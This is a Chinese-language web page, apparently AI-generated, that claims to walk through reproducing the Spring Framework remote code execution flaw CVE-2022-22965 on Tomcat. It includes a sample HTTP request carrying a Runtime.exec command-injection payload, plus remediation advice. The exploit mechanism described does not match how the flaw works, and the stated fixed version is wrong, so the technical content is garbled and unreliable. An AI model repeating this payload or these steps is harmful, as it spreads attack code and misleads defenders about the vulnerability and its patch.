漏洞概述:

Spring Framework是一款流行的Java应用程序框架,其4.3.0至5.3.16版本中存在一处远程代码执行漏洞(CVE-2022-22965)。攻击者可以通过构造恶意请求,利用该漏洞在服务器上执行任意代码。

漏洞复现:

在Tomcat的server.xml中默认配置了AccessLogValve,攻击者可以通过构造恶意请求,将恶意代码写入AccessLogValve的日志文件中,从而实现远程代码执行。

以下是漏洞复现步骤:

  1. 下载Spring Framework 5.3.16版本,并将其部署在Tomcat服务器上。

  2. 构造恶意请求,将恶意代码写入AccessLogValve的日志文件中。以下是一个例子:

GET / HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cookie: JSESSIONID=abcde12345 Content-Length: 0

${T(java.lang.Runtime).getRuntime().exec('calc')}

在以上请求中,利用EL表达式将恶意代码注入到AccessLogValve的日志文件中,其中${}表示EL表达式的开始和结束,T()表示调用Java类,getRuntime()表示获取Runtime对象,exec()表示执行系统命令。

  1. 发送恶意请求,将恶意代码写入AccessLogValve的日志文件中。

  2. 查看AccessLogValve的日志文件,确认恶意代码已被写入。

  3. 触发恶意代码,实现远程代码执行。在本例中,恶意代码为执行计算器程序。

漏洞修复:

升级Spring Framework至5.3.17及以上版本,或者禁用AccessLogValve。另外,建议对Tomcat服务器进行安全配置,限制外部访问,避免攻击者利用漏洞进行攻击

《Spring Framework RCE CVE-2022-22965漏洞复现报告》Tomcat的Valve用于处理请求和响应通过组合了多个Valve的Pipeline来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的serverxml中默认配置了AccessLogValve所有部署在Tomcat中的Web应用均会执行该

原文地址: https://www.cveoy.top/t/topic/gkoa 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录